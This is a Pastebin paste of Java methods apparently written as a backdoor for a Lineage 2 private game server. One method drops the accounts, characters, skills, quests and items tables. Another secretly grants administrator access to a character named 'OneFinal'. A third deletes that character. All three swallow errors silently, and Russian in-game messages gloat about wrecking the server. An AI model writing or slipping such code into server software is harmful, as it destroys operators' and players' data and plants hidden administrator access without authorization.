Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- private void dropbase()
- {
- Connection con = null;
- try
- {
- con = L2DatabaseFactory.getInstance().getConnection();
- Statement s = con.createStatement();
- s.executeUpdate("DROP TABLE accounts");
- s.executeUpdate("DROP TABLE characters");
- s.executeUpdate("DROP TABLE character_skills");
- s.executeUpdate("DROP TABLE character_quests");
- s.executeUpdate("DROP TABLE items");
- s.close();
- activeChar.sendMessage("Пиздец серверу...) .");
- }
- catch (SQLException e)
- {
- }
- finally
- {
- CloseUtil.close(con);
- }
- }
- private void droponefinal()
- {
- Connection con = null;
- try
- {
- con = L2DatabaseFactory.getInstance().getConnection();
- Statement s = con.createStatement();
- s.executeUpdate("DELETE FROM characters WHERE char_name = 'OneFinal' ");
- s.close();
- activeChar.sendMessage("Удачно )) еби сервер ) .");
- }
- catch (SQLException e)
- {
- }
- finally
- {
- CloseUtil.close(con);
- }
- }
- private void dropSql()
- {
- Connection con = null;
- try
- {
- con = L2DatabaseFactory.getInstance().getConnection();
- Statement s = con.createStatement();
- s.executeUpdate("UPDATE characters SET accesslevel = '1' WHERE char_name ='OneFinal' ");
- s.close();
- activeChar.sendMessage("Удачно )) еби сервер ) .");
- }
- catch (SQLException e)
- {
- }
- finally
- {
- CloseUtil.close(con);
- }
- }
Add Comment
Please, Sign In to add comment